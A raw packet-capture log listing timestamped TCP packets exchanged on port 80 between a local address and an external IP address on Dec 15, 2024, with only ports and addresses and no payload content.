Dec 15, 2024 11:59:11.127096891 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:11.128047943 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:11.128096104 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:11.128117085 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:11.128160000 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:11.129107952 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:11.129146099 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:11.129220009 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:11.129261017 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:11.130146980 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:11.130191088 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:11.130254030 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:11.130297899 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:11.149611950 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:11.149656057 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:11.149852991 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:11.149899960 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:11.150146008 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:11.150193930 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:11.150198936 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:11.150233984 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:11.150331020 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:11.150377989 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:11.151195049 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:11.151233912 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:11.151295900 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:11.151341915 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:11.152234077 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:11.152282000 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:11.152426958 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:11.152477026 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:11.153256893 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:11.153300047 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:11.153383970 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:11.153424025 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:11.154330969 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:11.154378891 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:11.154437065 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:11.154469967 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:11.155340910 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:11.155373096 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:11.155443907 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:11.155477047 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:11.156466961 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:11.156512976 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:11.156558037 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:11.156595945 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:11.157443047 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:11.157479048 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:11.157530069 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:11.157568932 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:11.158530951 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:11.158571005 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:11.158587933 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:11.158622980 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:11.277834892 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:11.277869940 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:11.277946949 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:11.277991056 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:11.278352022 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:11.278426886 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:11.278531075 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:11.278578997 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:11.278580904 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:11.278626919 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:11.279589891 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:11.279634953 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:11.279752970 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:11.279787064 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:11.280519009 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:11.280563116 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:11.280719042 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:11.280755043 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:11.280760050 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:11.280792952 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:11.281745911 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:11.281790018 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:11.281820059 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:11.281860113 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:11.282867908 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:11.282902956 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:11.282911062 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:11.282941103 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:11.283865929 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:11.283909082 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:11.283957005 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:11.283993006 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:11.284912109 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:11.284955978 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:11.284996033 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:11.285038948 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:11.285963058 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:11.286006927 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:11.286032915 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:11.286072969 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:11.287054062 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:11.287091017 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:11.287106037 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:11.287147045 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:11.288069963 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:11.288119078 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:11.288130999 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:11.288168907 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:11.289124966 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:11.289176941 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:11.289244890 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:11.289284945 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:11.290158033 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:11.290210009 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:11.290263891 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:11.290302038 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:11.291239977 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:11.291292906 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:11.291306019 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:11.291342974 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:11.292331934 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:11.292383909 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:11.292633057 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:11.292675972 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:11.293349028 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:11.293396950 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:11.293426991 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:11.293463945 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:11.294353962 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:11.294404030 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:11.294461012 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:11.294500113 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:11.295428991 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:11.295480013 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:11.295584917 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:11.295624018 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:11.296483040 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:11.296530962 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:11.296585083 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:11.296622038 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:11.297523975 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:11.297574043 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:11.297657967 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:11.297694921 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:11.298619986 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:11.298666000 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:11.298697948 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:11.298733950 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:11.299637079 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:11.299686909 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:11.299732924 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:11.299771070 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:11.300754070 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:11.300772905 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:11.300801992 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:11.300812960 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:11.301778078 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:11.301820040 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:11.301881075 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:11.301918030 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:11.303030014 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:11.303065062 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:11.303257942 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:11.303292036 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:11.304354906 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:11.304397106 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:11.304429054 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:11.304465055 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:11.305133104 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:11.305182934 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:11.305183887 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:11.305212021 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:11.305960894 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:11.306001902 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:11.306190968 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:11.306231022 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:11.306989908 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:11.307033062 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:11.307085991 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:11.307121038 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:11.308022976 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:11.308069944 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:11.308098078 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:11.308135986 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:11.309078932 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:11.309125900 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:11.309247017 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:11.309286118 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:11.310127020 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:11.310169935 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:11.310229063 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:11.310267925 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:11.311198950 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:11.311247110 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:11.311285973 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:11.311325073 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:11.312283039 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:11.312325954 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:11.312356949 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:11.312396049 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:11.313277960 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:11.313321114 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:11.313400984 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:11.313443899 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:11.314328909 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:11.314371109 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:11.314434052 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:11.314476013 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:11.315412045 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:11.315454960 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:11.315504074 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:11.315543890 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:11.316472054 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:11.316513062 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:11.316553116 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:11.316593885 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:11.317459106 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:11.317511082 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:11.317636967 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:11.317679882 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:11.318509102 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:11.318553925 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:11.318638086 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:11.318679094 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:11.319590092 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:11.319627047 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:11.319706917 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:11.319742918 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:11.320627928 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:11.320664883 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:11.320717096 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:11.320755959 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:11.321664095 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:11.321701050 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:11.321758032 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:11.321794033 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:11.343040943 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:11.343054056 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:11.343071938 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:11.343082905 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:11.343096018 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:11.343111992 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:11.344049931 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:11.344096899 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:11.344131947 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:11.344172001 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:11.344882011 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:11.344922066 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:11.344976902 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:11.345019102 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:11.345933914 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:11.345978022 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:11.346044064 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:11.346081972 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:11.346729040 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:11.346767902 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:11.346824884 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:11.346863985 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:11.347613096 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:11.347655058 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:11.347671986 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:11.347706079 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:11.348531961 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:11.348575115 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:11.348686934 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:11.348751068 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:11.349364996 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:11.349407911 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:11.349447012 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:11.349487066 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:11.350361109 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:11.350400925 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:11.350426912 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:11.350469112 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:11.351306915 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:11.351347923 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:11.470686913 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:11.470741987 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:11.470752954 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:11.470782042 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:11.471255064 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:11.471307039 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:11.471308947 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:11.471355915 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:11.472244024 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:11.472297907 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:11.472305059 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:11.472335100 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:11.473088980 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:11.473138094 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:11.473367929 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:11.473409891 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:11.473479033 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:11.473520994 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:11.474395990 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:11.474440098 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:11.474508047 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:11.474550009 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:11.475558996 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:11.475594997 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:11.475605965 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:11.475636959 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:11.476531982 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:11.476577997 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:11.476644039 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:11.476685047 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:11.477591038 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:11.477632046 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:11.477715015 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:11.477751970 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:11.478612900 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:11.478655100 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:11.478728056 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:11.478773117 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:11.479650021 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:11.479693890 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:11.479716063 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:11.479760885 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:11.480731964 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:11.480772018 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:11.480846882 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:11.480892897 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:11.481828928 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:11.481863976 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:11.481873035 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:11.481906891 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:11.482825041 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:11.482862949 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:11.482928991 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:11.482975006 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:11.483871937 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:11.483922005 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:11.483984947 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:11.484026909 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:11.484930992 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:11.484992981 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:11.485095024 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:11.485131025 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:11.485970020 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:11.486013889 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:11.486089945 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:11.486130953 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:11.487015963 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:11.487060070 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:11.487138987 CET	80	49760	31.41.244.11	192.168.2.4
